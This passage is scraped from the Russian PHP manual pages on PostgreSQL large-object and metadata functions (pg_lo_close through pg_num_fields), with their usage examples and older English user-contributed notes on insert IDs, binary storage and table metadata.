This means that if you use nextval() to retrieve a value to use as a primary key, you can be guaranteed that no other calls to nextval() on that sequence will return the same value. No race conditions, no transactions required.

That's what sequences are *for* afaik :^)
a dot bardsley at lancs dot ac dot uk 15-May-2003 11:23
As pointed out on a busy site some of the above methods might actually give you an incorrect answer as another record is inserted inbetween your insert  and the select. To combat this put it into a transaction and dont commit till you have done all the work
dtutar at yore dot com dot tr 26-Apr-2003 07:15
This is very useful function :)

function sql_last_inserted_id($connection, $result, $table_name, $column_name) {
   $oid = pg_last_oid ( $result);
       $query_for_id = "SELECT $column_name FROM $table_name WHERE oid=$oid";
   $result_for_id = pg_query($connection,$query_for_id);
   if(pg_num_rows($result_for_id))
      $id=pg_fetch_array($result_for_id,0,PGSQL_ASSOC);
   return $id[$column_name];
}

Call after insert, simply ;)
webmaster at gamecrash dot net 03-Mar-2003 06:29
You could use this to get the last insert id...

CREATE TABLE test (
  id serial,
  something int not null
);

This creates the sequence test_id_seq. Now do the following after inserting something into table test:

INSERT INTO test (something) VALUES (123);
SELECT currval('test_id_seq') AS lastinsertid;

lastinsertid should contain your last insert id.


Закрывает большой объект

  • « pg_last_oid
  • pg_lo_create »
  • PHP Manual
  • Функции PostgreSQL
  • Закрывает большой объект

pg_lo_close

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

pg_lo_close — Закрывает большой объект

Описание

pg_lo_close(PgSql\Lob $lob): bool

pg_lo_close() закрывает большой объект.

Операции с использованием интерфейса больших объектов необходимо заключать в блок транзакции.

Замечание:

Прежнее название функции: pg_loclose().

Список параметров

lob

An PgSql\Lob instance, returned by pg_lo_open().

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр lob теперь ожидает экземпляр PgSql\Lob; ранее ожидался ресурс (resource).

Примеры

Пример #1 Пример использования pg_lo_close()

<?php
$database = pg_connect("dbname=jacarta");
pg_query($database, "begin");
$oid = pg_lo_create($database);
echo "$oid\n";
$handle = pg_lo_open($database, $oid, "w");
echo "$handle\n";
pg_lo_write($handle, "large object data");
pg_lo_close($handle);
pg_query($database, "commit");
?>

Смотрите также

  • pg_lo_open() - Открывает большой объект базы данных
  • pg_lo_create() - Создаёт большой объект
  • pg_lo_import() - Импорт большого объекта из файла

User Contributed Notes

There are no user contributed notes for this page.


Создаёт большой объект

  • « pg_lo_close
  • pg_lo_export »
  • PHP Manual
  • Функции PostgreSQL
  • Создаёт большой объект

pg_lo_create

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

pg_lo_create — Создаёт большой объект

Описание

pg_lo_create(PgSql\Connection $connection = ?, mixed $object_id = ?): int
pg_lo_create(mixed $object_id): int

pg_lo_create() создаёт большой объект и возвращает его OID. Режимы доступа PostgreSQL INV_READ, INV_WRITE, и INV_ARCHIVE не поддерживаются, объект всегда создаётся с доступом на чтение и запись. Режим INV_ARCHIVE убран из PostgreSQL версий 6.3 и выше.

Операции с использованием интерфейса больших объектов необходимо заключать в блок транзакции.

Вместо использования интерфейса больших объектов (который не имеет контроля доступа и весьма громоздкий сам по себе) пользуйтесь полями PostgreSQL типа bytea для хранения двоичных данных и функцией pg_escape_bytea() для их экранирования.

Замечание:

Прежнее название функции: pg_locreate().

Список параметров

connection

Экземпляр PgSql\Connection. Если connection не указано, используется соединение по умолчанию. Соединение по умолчанию — это последнее соединение, выполненное с помощью функций pg_connect() или pg_pconnect().

Внимание

Начиная с версии PHP 8.1.0, использование соединения по умолчанию устарело.

object_id

Если задан аргумент object_id, функция попытается создать объект с этим идентификатором, в противном случае будет использован свободный идентификатор, назначенный сервером. Этот аргумент основан на функционале, впервые реализованном в PostgreSQL 8.1.

Возвращаемые значения

OID большого объекта или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр connection теперь ожидает экземпляр PgSql\Connection; ранее ожидался ресурс (resource).

Примеры

Пример #1 Пример использования pg_lo_create()

<?php
$database = pg_connect("dbname=jacarta");
pg_query($database, "begin");
$oid = pg_lo_create($database);
echo "$oid\n";
$handle = pg_lo_open($database, $oid, "w");
echo "$handle\n";
pg_lo_write($handle, "large object data");
pg_lo_close($handle);
pg_query($database, "commit");
?>

User Contributed Notes

andrea dot galli at acotel dot com 05-May-2003 10:21
<?php
// --------- OPEN CONN ---

   $conn = pg_connect("host='127.0.0.1' dbname='test' user='usertest' password='passtest'");

// --------- OPEN FILE ---

   $fp = fopen('logo.gif', "r");
   $buffer = fread($fp, filesize('logo.gif'));
   fclose($fp);

// --------- CREATE - INSERT OID ---

   pg_exec($conn, "begin");

   $oid = pg_locreate($conn);

   $rs = pg_exec($conn,"INSERT INTO test(tipo, images) VALUES('A1', $oid);");
   $handle = pg_loopen ($conn, $oid, "w");

   pg_lowrite ($handle, $buffer);
   pg_loclose ($handle);

   pg_exec($conn, "commit");

// --------- OPEN - INSERT OID ---

   $rs = pg_exec($conn, "SELECT images FROM test WHERE tipo = 'A1';");
   $row = pg_fetch_row($rs, 0);

   pg_exec($conn, "begin");
   $loid = pg_loopen($conn, $row[0], "r");

   header("Content-type: image/gif");

   pg_loreadall($loid);
   pg_loclose($loid);

   pg_exec ($conn, "commit");

// --------- UNLINK OID ---

   pg_exec($conn, "begin");

   $loid = $row[0];
   pg_lounlink($conn, $loid);

   pg_exec ($conn, "commit");

// --------- DELETE OID ---

   pg_exec($conn, "DELETE FROM test WHERE tipo = 'A1';");

// --------- CLOSE CONN ---

   pg_close();
?>


Вывод большого объекта в файл

  • « pg_lo_create
  • pg_lo_import »
  • PHP Manual
  • Функции PostgreSQL
  • Вывод большого объекта в файл

pg_lo_export

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

pg_lo_export — Вывод большого объекта в файл

Описание

pg_lo_export(PgSql\Connection $connection = ?, int $oid, string $pathname): bool

pg_lo_export() выбирает большой объект из базы данных и сохраняет его данные локально в файловой системе.

Операции с использованием интерфейса больших объектов необходимо заключать в блок транзакции.

Замечание:

Прежнее название функции: pg_loexport().

Список параметров

connection

Экземпляр PgSql\Connection. Если connection не указано, используется соединение по умолчанию. Соединение по умолчанию — это последнее соединение, выполненное с помощью функций pg_connect() или pg_pconnect().

Внимание

Начиная с версии PHP 8.1.0, использование соединения по умолчанию устарело.

oid

OID большого объекта в базе данных.

pathname

Полный путь и имя файла в клиентской файловой системе для записи данных большого объекта.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр connection теперь ожидает экземпляр PgSql\Connection; ранее ожидался ресурс (resource).

Примеры

Пример #1 Пример использования pg_lo_export()

<?php
$database = pg_connect("dbname=jacarta");
pg_query($database, "begin");
$oid = pg_lo_create($database);
$handle = pg_lo_open($database, $oid, "w");
pg_lo_write($handle, "large object data");
pg_lo_close($handle);
pg_lo_export($database, $oid, '/tmp/lob.dat');
pg_query($database, "commit");
?>

Смотрите также

  • pg_lo_import() - Импорт большого объекта из файла

User Contributed Notes

There are no user contributed notes for this page.


Импорт большого объекта из файла

  • « pg_lo_export
  • pg_lo_open »
  • PHP Manual
  • Функции PostgreSQL
  • Импорт большого объекта из файла

pg_lo_import

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

pg_lo_import — Импорт большого объекта из файла

Описание

pg_lo_import(PgSql\Connection $connection = ?, string $pathname, mixed $object_id = ?): int

pg_lo_import() создаёт большой объект в базе данных, используя локальный файл в качестве источника данных.

Операции с использованием интерфейса больших объектов необходимо заключать в блок транзакции.

Замечание:

Прежнее название функции: pg_loimport().

Список параметров

connection

Экземпляр PgSql\Connection. Если connection не указано, используется соединение по умолчанию. Соединение по умолчанию — это последнее соединение, выполненное с помощью функций pg_connect() или pg_pconnect().

Внимание

Начиная с версии PHP 8.1.0, использование соединения по умолчанию устарело.

pathname

Полный путь и имя файла в клиентской файловой системе для чтения данных большого объекта.

object_id

Если задан аргумент object_id, функция попытается создать объект с этим идентификатором, в противном случае будет использован свободный идентификатор, назначенный сервером. Этот аргумент основан на функционале, впервые реализованном в PostgreSQL 8.1.

Возвращаемые значения

OID созданного большого объекта или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр connection теперь ожидает экземпляр PgSql\Connection; ранее ожидался ресурс (resource).

Примеры

Пример #1 Пример использования pg_lo_import()

<?php
$database = pg_connect("dbname=jacarta");
pg_query($database, "begin");
$oid = pg_lo_import($database, '/tmp/lob.dat');
pg_query($database, "commit");
?>

Смотрите также

  • pg_lo_export() - Вывод большого объекта в файл
  • pg_lo_open() - Открывает большой объект базы данных

User Contributed Notes

vi2 at vi2 dot com 01-Aug-2002 05:54
its not very clear if pg_lo_import needs to have pg_lo_open called first. Because pg_lo_import handles the process of writign to the file, it seems logical that pg_lo_open does not need to be called. However due to the ugly nature of how postgres handles oid objects, it would be nice to have this documented.
yohgaki at php dot net 19-Jun-2002 06:04
Due to a bug, OLD API does not available with PHP 4.2.0 and 4.2.1.

PHP 4.2.2 will support OLD API again and will be kept long enough.

New API will be available PHP 4.2.0 to later versions.
yohgaki at php dot net 19-Jun-2002 06:00
Due to a bug, PHP 4.2.0 and 4.2.1 does not support pg_lo_import() old API. It's fixed in PHP 4.2.2.

BTW, new API will be always available from PHP 4.2.0 to later versions. Older API will be kept long enough, also.
ceco at noxis dot net 15-May-2002 11:08
it works for me (php-4.2.1)

not like this

int pg_lo_import ( string pathname [, resource connection])

but
int pg_lo_import ( resource connection, string pathname )

don't know the reason


Открывает большой объект базы данных

  • « pg_lo_import
  • pg_lo_read_all »
  • PHP Manual
  • Функции PostgreSQL
  • Открывает большой объект базы данных

pg_lo_open

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

pg_lo_open — Открывает большой объект базы данных

Описание

pg_lo_open(PgSql\Connection $connection, int $oid, string $mode): PgSql\Lob|false

pg_lo_open() открывает большой объект базы данных и возвращает экземпляр PgSql\Lob.

Внимание

Не следует закрывать соединение с базой данных до того, как завершится работа с экземпляром PgSql\Lob.

Операции с использованием интерфейса больших объектов необходимо заключать в блок транзакции.

Замечание:

Прежнее название функции: pg_loopen().

Список параметров

connection

Экземпляр PgSql\Connection. Если connection не указано, используется соединение по умолчанию. Соединение по умолчанию — это последнее соединение, выполненное с помощью функций pg_connect() или pg_pconnect().

Внимание

Начиная с версии PHP 8.1.0, использование соединения по умолчанию устарело.

oid

OID большого объекта в базе данных.

mode

Режим доступа к объекту. Возможные значения: "r" - только для чтения, "w" - только для записи, "rw" - для чтения и записи.

Возвращаемые значения

Экземпляр PgSql\Lob или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Возвращает экземпляр PgSql\Lob; ранее возвращался ресурс (resource).
8.1.0 | Параметр connection теперь ожидает экземпляр PgSql\Connection; ранее ожидался ресурс (resource).

Примеры

Пример #1 Пример использования pg_lo_open()

<?php
$database = pg_connect("dbname=jacarta");
pg_query($database, "begin");
$oid = pg_lo_create($database);
echo "$oid\n";
$handle = pg_lo_open($database, $oid, "w");
echo "$handle\n";
pg_lo_write($handle, "large object data");
pg_lo_close($handle);
pg_query($database, "commit");
?>

Смотрите также

  • pg_lo_close() - Закрывает большой объект
  • pg_lo_create() - Создаёт большой объект

User Contributed Notes

metator at netcabo dot pt 29-Aug-2005 11:15
Just for the record, a user must be a superuser (database owner) in order to invoke pg_lo_open() (though pg_lo_create() may be invoked...). This opens a gigantic security hole in the db. If a user is not a superuser, db will raise an error with message "Can't create Large Object.".
Thus, imho, one should use pg_escape_bytea() instead.


Читает содержимое большого объекта и посылает напрямую в браузер

  • « pg_lo_open
  • pg_lo_read »
  • PHP Manual
  • Функции PostgreSQL
  • Читает содержимое большого объекта и посылает напрямую в браузер

pg_lo_read_all

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

pg_lo_read_all — Читает содержимое большого объекта и посылает напрямую в браузер

Описание

pg_lo_read_all(PgSql\Lob $lob): int

pg_lo_read_all() читает большой объект и посылает данные напрямую в браузер после отправки всех необходимых заголовков. Используется в основном для пересылки двоичных данных, таких как изображения или звук.

Операции с использованием интерфейса больших объектов необходимо заключать в блок транзакции.

Замечание:

Прежнее название функции: pg_loreadall().

Список параметров

lob

An PgSql\Lob instance, returned by pg_lo_open().

Возвращаемые значения

Количество прочитанных байт.

Список изменений

Версия | Описание
8.1.0 | Параметр lob теперь ожидает экземпляр PgSql\Lob; ранее ожидался ресурс (resource).

Примеры

Пример #1 Пример использования pg_lo_read_all()

<?php
header('Content-type: image/jpeg');
$image_oid = 189762345;
$database = pg_connect("dbname=jacarta");
pg_query($database, "begin");
$handle = pg_lo_open($database, $image_oid, "r");
pg_lo_read_all($handle);
pg_query($database, "commit");
?>

Смотрите также

  • pg_lo_read() - Читает данные большого объекта

User Contributed Notes

fabar2 at libero dot it 08-Oct-2011 08:36
Pay attention that if you omit the "length" parameter it will read a 8192 bytes object regardless to its real dimensions. If you want to use this function think to save the object size somewhere (usually a field in its table) before reading the object. Alternatively use the pg_lo_readall function.
robert dot bernier5 at sympatico dot ca 24-Sep-2004 07:45
// remember, large objects must be obtained from within a transaction
pg_query ($dbconn, "begin");

// "assume" for this example that the large object resource number of the zipped file is "17899"

$lo_oid = 17899;

$handle_lo = pg_lo_open($dbconn,$lo_oid,"r") or die("<h1>Error.. can't get handle</h1>");

//headers to send to the browser before beginning the binary download
header('Accept-Ranges: bytes');
header('Content-Length: 32029974'); //this is the size of the zipped file
header('Keep-Alive: timeout=15, max=100');
header('Content-type: Application/x-zip');
header('Content-Disposition: attachment; filename="superjob.zip"');

pg_lo_read_all($handle_lo) or
  die("<h1>Error, can't read large object.</h1>");

// committing the data transaction
pg_query ($dbconn, "commit");


Читает данные большого объекта

  • « pg_lo_read_all
  • pg_lo_seek »
  • PHP Manual
  • Функции PostgreSQL
  • Читает данные большого объекта

pg_lo_read

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

pg_lo_read — Читает данные большого объекта

Описание

pg_lo_read(PgSql\Lob $lob, int $length = 8192): string|false

pg_lo_read() читает length байт большого объекта и возвращает их в виде строки.

Операции с использованием интерфейса больших объектов необходимо заключать в блок транзакции.

Замечание:

Прежнее название функции: pg_loread().

Список параметров

length

An PgSql\Lob instance, returned by pg_lo_open().

length

Необязательный аргумент. Количество байт, которые необходимо прочитать.

Возвращаемые значения

Строка(string), содержащая length байт большого объекта, либо false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр lob теперь ожидает экземпляр PgSql\Lob; ранее ожидался ресурс (resource).

Примеры

Пример #1 Пример использования pg_lo_read()

<?php
$doc_oid = 189762345;
$database = pg_connect("dbname=jacarta");
pg_query($database, "begin");
$handle = pg_lo_open($database, $doc_oid, "r");
$data = pg_lo_read($handle, 50000);
pg_query($database, "commit");
echo $data;
?>

Смотрите также

  • pg_lo_read_all() - Читает содержимое большого объекта и посылает напрямую в браузер

User Contributed Notes

bobahspb at gmail dot com 22-Aug-2011 03:43
Be careful: pg_lo_export() create empty file without "begin"/"end".
See docs: "...it is necessary to enclose it within a transaction block..."


Перемещает внутренний указатель большого объекта

  • « pg_lo_read
  • pg_lo_tell »
  • PHP Manual
  • Функции PostgreSQL
  • Перемещает внутренний указатель большого объекта

pg_lo_seek

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

pg_lo_seek — Перемещает внутренний указатель большого объекта

Описание

pg_lo_seek(PgSql\Lob $lob, int $offset, int $whence = SEEK_CUR): bool

pg_lo_seek() перемещает внутренний указатель экземпляра PgSql\Lob.

Операции с использованием интерфейса больших объектов необходимо заключать в блок транзакции.

Список параметров

lob

An PgSql\Lob instance, returned by pg_lo_open().

offset

Количество байт, на сколько требуется переместить указатель.

whence

Одна из констант: PGSQL_SEEK_SET (перемещать от начала объекта), PGSQL_SEEK_CUR (перемещать с текущей позиции) или PGSQL_SEEK_END (отступать от конца объекта).

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр lob теперь ожидает экземпляр PgSql\Lob; ранее ожидался ресурс (resource).

Примеры

Пример #1 Пример использования pg_lo_seek()

<?php
$doc_oid = 189762345;
$database = pg_connect("dbname=jacarta");
pg_query($database, "begin");
$handle = pg_lo_open($database, $doc_oid, "r");
// Пропустить первые 50000 байт
pg_lo_seek($handle, 50000, PGSQL_SEEK_SET);
// Прочитать следующие 10000 байт
$data = pg_lo_read($handle, 10000);
pg_query($database, "commit");
echo $data;
?>

Смотрите также

  • pg_lo_tell() - Возвращает текущее положение внутреннего указателя большого объекта

User Contributed Notes

There are no user contributed notes for this page.


Возвращает текущее положение внутреннего указателя большого объекта

  • « pg_lo_seek
  • pg_lo_truncate »
  • PHP Manual
  • Функции PostgreSQL
  • Возвращает текущее положение внутреннего указателя большого объекта

pg_lo_tell

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

pg_lo_tell — Возвращает текущее положение внутреннего указателя большого объекта

Описание

pg_lo_tell(PgSql\Lob $lob): int

pg_lo_tell() возвращает текущую позицию (отступ от начала) внутреннего указателя большого объекта.

Операции с использованием интерфейса больших объектов необходимо заключать в блок транзакции.

Список параметров

lob

An PgSql\Lob instance, returned by pg_lo_open().

Возвращаемые значения

Текущая позиция внутреннего указателя (количество байт от начала) большого объекта. В случае возникновения ошибки функция вернёт отрицательное значение.

Список изменений

Версия | Описание
8.1.0 | Параметр lob теперь ожидает экземпляр PgSql\Lob; ранее ожидался ресурс (resource).

Примеры

Пример #1 Пример использования pg_lo_tell()

<?php
$doc_oid = 189762345;
$database = pg_connect("dbname=jacarta");
pg_query($database, "begin");
$handle = pg_lo_open($database, $doc_oid, "r");
// Пропустить первые 50000 байт
pg_lo_seek($handle, 50000, PGSQL_SEEK_SET);
// Проверим, на сколько мы отступили
$offset = pg_lo_tell($handle);
echo "Текущее положение внутреннего указателя: $offset";
pg_query($database, "commit");
?>

Результат выполнения данного примера:

Текущее положение внутреннего указателя: 50000

Смотрите также

  • pg_lo_seek() - Перемещает внутренний указатель большого объекта

User Contributed Notes

Marv-CZ 15-Nov-2010 10:26
Function to take a large object size:

<?php
function pg_lo_size ($lo) {
  $pos = pg_lo_tell ($lo);
  pg_lo_seek ($lo, 0, PGSQL_SEEK_END);
  $size = pg_lo_tell ($lo);
  pg_lo_seek ($lo, $pos, PGSQL_SEEK_SET);
  return $size;
}
?>


Обрезает большой объект

  • « pg_lo_tell
  • pg_lo_unlink »
  • PHP Manual
  • Функции PostgreSQL
  • Обрезает большой объект

pg_lo_truncate

(PHP 5 >= 5.6.0, PHP 7, PHP 8)

pg_lo_truncate — Обрезает большой объект

Описание

pg_lo_truncate(PgSql\Lob $lob, int $size): bool

pg_lo_truncate() обрезает экземпляр PgSql\Lob.

Для использования интерфейса большого объекта, необходимо заключить его в блок транзакций.

Список параметров

lob

An PgSql\Lob instance, returned by pg_lo_open().

size

Количество байтов для обрезания.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр lob теперь ожидает экземпляр PgSql\Lob; ранее ожидался ресурс (resource).

Примеры

Пример #1 Пример использования pg_lo_truncate()

<?php
$doc_oid = 189762345;
$database = pg_connect("dbname=jacarta");
pg_query($database, "begin");
$handle = pg_lo_open($database, $doc_oid, "r");
// Обрезать до 0
pg_lo_truncate($handle, 0);
pg_query($database, "commit");
echo $data;
?>

Смотрите также

  • pg_lo_tell() - Возвращает текущее положение внутреннего указателя большого объекта

User Contributed Notes

There are no user contributed notes for this page.


Удаление большого объекта

  • « pg_lo_truncate
  • pg_lo_write »
  • PHP Manual
  • Функции PostgreSQL
  • Удаление большого объекта

pg_lo_unlink

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

pg_lo_unlink — Удаление большого объекта

Описание

pg_lo_unlink(PgSql\Connection $connection, int $oid): bool

pg_lo_unlink() удаляет большой объект с идентификатором oid.

Операции с использованием интерфейса больших объектов необходимо заключать в блок транзакции.

Замечание:

Прежнее название функции: pg_lounlink().

Список параметров

connection

Экземпляр PgSql\Connection. Если connection не указано, используется соединение по умолчанию. Соединение по умолчанию — это последнее соединение, выполненное с помощью функций pg_connect() или pg_pconnect().

Внимание

Начиная с версии PHP 8.1.0, использование соединения по умолчанию устарело.

oid

OID большого объекта в базе данных.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр connection теперь ожидает экземпляр PgSql\Connection; ранее ожидался ресурс (resource).

Примеры

Пример #1 Пример использования pg_lo_unlink()

<?php
// OID удаляемого объекта
$doc_oid = 189762345;
$database = pg_connect("dbname=jacarta");
pg_query($database, "begin");
pg_lo_unlink($database, $doc_oid);
pg_query($database, "commit");
?>

Смотрите также

  • pg_lo_create() - Создаёт большой объект
  • pg_lo_import() - Импорт большого объекта из файла

User Contributed Notes

There are no user contributed notes for this page.


Записывает данные в большой объект

  • « pg_lo_unlink
  • pg_meta_data »
  • PHP Manual
  • Функции PostgreSQL
  • Записывает данные в большой объект

pg_lo_write

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

pg_lo_write — Записывает данные в большой объект

Описание

pg_lo_write(PgSql\Lob $lob, string $data, ?int $length = null): int|false

pg_lo_write() записывает данные в большой объект, начиная с текущей позиции внутреннего указателя.

Операции с использованием интерфейса больших объектов необходимо заключать в блок транзакции.

Замечание:

Прежнее название функции: pg_lowrite().

Список параметров

lob

An PgSql\Lob instance, returned by pg_lo_open().

data

Данные для записи в большой объект. Если аргумент length задан и меньше размера data, то записаны будут только length байт.

length

Необязательный аргумент. Максимальное количество записываемых байт. Должен быть больше нуля и не превышать размер data. По умолчанию принимается равным размеру data.

Возвращаемые значения

Количество записанных в большой объект байт, либо false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр lob теперь ожидает экземпляр PgSql\Lob; ранее ожидался ресурс (resource).
8.0.0 | length теперь допускает значение null.

Примеры

Пример #1 Пример использования pg_lo_write()

<?php
$doc_oid = 189762345;
$data = "This will overwrite the start of the large object.";
$database = pg_connect("dbname=jacarta");
pg_query($database, "begin");
$handle = pg_lo_open($database, $doc_oid, "w");
$data = pg_lo_write($handle, $data);
pg_query($database, "commit");
?>

Смотрите также

  • pg_lo_create() - Создаёт большой объект
  • pg_lo_open() - Открывает большой объект базы данных

User Contributed Notes

nandrews at logictree dot co dot uk 05-Jun-2003 08:17
Using php 4.3.0 and PostgreSQL 7.3.1

I can write a simple script in which pg_lo_write seems to always return 1 and not the number of bytes written, as evidenced by extracting the data through another means.

Further more, I can make this pg_lo_write fail, or at least fail to write all the data it's pretty difficult to tell without the number of bytes written being returned, and not return the false value. In addition to this, the lo resource has been adjusted so that the oid it contains is 0.

Unfortunately, I do not know what exactly the failure mode is, it does seem to be in the ip network communication side of PostgreSQL, which is odd since the unix domain comms works fine for this. However, it would have been useful to have the pg_lo_write() function return as advertised, it would have saved some of the 2 man hours me and the dev. team put into diagnosing this problem.
cedric at isoca.com 27-Apr-2001 05:26
Be aware when you modify a lo with pg_lowrite() to remove first the old one : if the new lo is smaller than the one before, it only overwrite the begining and you keep the end of the old lo (open with "w" parameter, PHP 4.04 Linux RH).


Получение метаданных таблицы

  • « pg_lo_write
  • pg_num_fields »
  • PHP Manual
  • Функции PostgreSQL
  • Получение метаданных таблицы

pg_meta_data

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

pg_meta_data — Получение метаданных таблицы

Описание

pg_meta_data(PgSql\Connection $connection, string $table_name, bool $extended = false): array|false

pg_meta_data() возвращает определение таблицы table_name в виде массива.

Список параметров

connection

Экземпляр PgSql\Connection.

table_name

Название таблицы.

extended

Флаг, указывающий, что нужно вернуть расширенные мета-данные. По умолчанию false.

Возвращаемые значения

Массив, содержащий определение таблицы или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр connection теперь ожидает экземпляр PgSql\Connection; ранее ожидался ресурс (resource).

Примеры

Пример #1 Получение метаданных таблицы

<?php
$dbconn = pg_connect("dbname=publisher") or die("Не удалось соединиться с сервером");

$meta = pg_meta_data($dbconn, 'authors');
if (is_array($meta)) {
echo '<pre>';
var_dump($meta);
echo '</pre>';
}
?>

Результат выполнения данного примера:

array(3) {
["author"]=>
array(5) {
  ["num"]=>
  int(1)
  ["type"]=>
  string(7) "varchar"
  ["len"]=>
  int(-1)
  ["not null"]=>
  bool(false)
  ["has default"]=>
  bool(false)
}
["year"]=>
array(5) {
  ["num"]=>
  int(2)
  ["type"]=>
  string(4) "int2"
  ["len"]=>
  int(2)
  ["not null"]=>
  bool(false)
  ["has default"]=>
  bool(false)
}
["title"]=>
array(5) {
  ["num"]=>
  int(3)
  ["type"]=>
  string(7) "varchar"
  ["len"]=>
  int(-1)
  ["not null"]=>
  bool(false)
  ["has default"]=>
  bool(false)
}
}

Смотрите также

  • pg_convert() - Преобразует значения ассоциативного массива в приемлемые для использования в SQL-запросах

User Contributed Notes

shaman_master at list dot ru 28-Apr-2019 11:03
If parameter $extended not false:
<?php
array (size=2)
  'name' =>
    array (size=11)
      'num' => int 1
      'type' => string 'varchar' (length=7)
      'len' => int -1
      'not null' => boolean false
      'has default' => boolean true
      'array dims' => int 0
      'is enum' => boolean false
      'is base' => boolean true
      'is composite' => boolean false
      'is pesudo' => boolean false
      'description' => string '' (length=0)
  'id' =>
    array (size=11)
      'num' => int 2
      'type' => string 'int4' (length=4)
      'len' => int 4
      'not null' => boolean true
      'has default' => boolean true
      'array dims' => int 0
      'is enum' => boolean false
      'is base' => boolean true
      'is composite' => boolean false
      'is pesudo' => boolean false
      'description' => string '' (length=0)
?>
Hayley Watson 17-Jul-2017 02:34
To specify a schema as well as a table name, use the "schemaname.tablename" form as usual for PostgreSQL and the other functions in this extension. Without the prefix, of course, the default schema search path is used.

<?php
  $meta = pg_meta_data($dbconn, 'foo.bar'); // table "bar" in schema "foo"
  if (is_array($meta)) {
      var_dump($meta);
  }
?>
jsnell at e-normous dot com 12-Nov-2007 03:24
The built in function does not provide any support for selecting a schema.  If you need schema support and do not want to alter your SEARCH_PATH, the following function can provide it:

 function meta_data($table, $schema = 'public')
    {
$result = pg_query_params("SELECT a.attname, a.attnum, t.typname, a.attlen, a.attnotNULL, a.atthasdef, a.attndims
FROM pg_class as c, pg_attribute a, pg_type t, pg_namespace n
WHERE a.attnum > 0
AND a.attrelid = c.oid
AND c.relname = $1
AND a.atttypid = t.oid
AND n.oid = c.relnamespace
AND n.nspname = $2
ORDER BY a.attnum", array($table, $schema));
$fields = array();
while($row = pg_fetch_array()) {
$fields['attname'] = $row;
}
        return $fields;
    }
yarnofmoo at gmail dot com 27-Jun-2007 08:32
You can get some possibly more useful information with the query:

SELECT table_name, column_name, data_type, character_maximum_length FROM information_schema.columns WHERE table_name='tablename';
rburghol at vt dot edu 24-Jun-2005 06:37
When querying on meta data from a temp table, the meta data seems to persist even if a fresh connection is established, where the temp table no longer exists.

 For example, if you create a connection and a temp table like so:
$dbconn1 = pg_connect('blah blah', , PGSQL_CONNECT_FORCE_NEW);
pg_exec($dbconn1,'create temp table foo as select 'foo' as namecol, 'bar' as valcol');

Then create a new connection

$dbconn2 = pg_connect('blah blah', , PGSQL_CONNECT_FORCE_NEW);

And query the meta data for table 'foo' in this new connection, it will report the facts about this table:
pg_meta_data($dbconn2,'foo');

"'Array ( [foo] => Array ( [num] => 1 [type] => varchar... "

However, trying to remove this table:
pg_exec($dbconn,'drop table foo');

Throws an error:
pg_exec(): Query failed: ERROR: table "foo" does not exist in ...
dmiller at NOSPAM dot judcom dot nsw dot gov dot au 18-Jun-2003 01:31
This function seems to be case-sensitive on tablename (php-4.3.1)

The Array returned is of the following structure
['field name'] => Array
   (
     ['num'] => Field number starting at 1
     ['type'] => data type, eg varchar, int4
     ['len'] => internal storage size of field. -1 for varying
     ['not null'] => boolean
     ['has default'] => boolean
   )
     ......

for Varied size datatypes (varchar, text, etc)
you can get the max data length from the system table pg_attribute.atttypmod -4
eg.
select attnum, attname , atttypmod -4 as field_len
from pg_attribute, pg_class
where relname='$tablename'
and attrelid=relfilenode
and attnum>=1


Возвращает количество полей в выборке

  • « pg_meta_data
  • pg_num_rows »
  • PHP Manual
  • Функции PostgreSQL
  • Возвращает количество полей в выборке

pg_num_fields

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

pg_num_fields — Возвращает количество полей в выборке

Описание

pg_num_fields(PgSql\Result $result): int

pg_num_fields() возвращает количество полей (столбцов) в экземпляре PgSql\Result.

Замечание:

Ранее функция называлась pg_numfields().

Список параметров

result

Экземпляр PgSql\Result, возвращаемый функциями pg_query(), pg_query_params() или pg_execute() (среди прочего).

Возвращаемые значения

Количество полей (столбцов) в выборке. В случае возникновения ошибки возвращает -1.

Список изменений

Версия | Описание
8.1.0 | Параметр result теперь ожидает экземпляр PgSql\Result; ранее ожидался ресурс (resource).

Примеры

Пример #1 Пример использования pg_num_fields()

<?php
$result = pg_query($conn, "SELECT 1, 2");

$num = pg_num_fields($result);

echo "Возвращено полей: " . $num . ".\n";
?>

Результат выполнения данного примера:

Возвращено полей: 2.

Смотрите также

  • pg_num_rows() - Возвращает количество строк в выборке
  • pg_affected_rows() - Возвращает количество затронутых запросом записей (кортежей)

User Contributed Notes

mark at redbrick dot dcu dot ie 24-Mar-2003 01:02
Here is a simple example for using pg_num_feilds, pg_num_rows and pg_result together.  I'm simply SELECTing * from a table named markie on the current pg_connect().

<?php
    $pgsql_conn = pg_connect("dbname=mark host=localhost");

    if (!$pgsql_conn) {
        print pg_last_error($pgsql_conn);
        exit;
    }

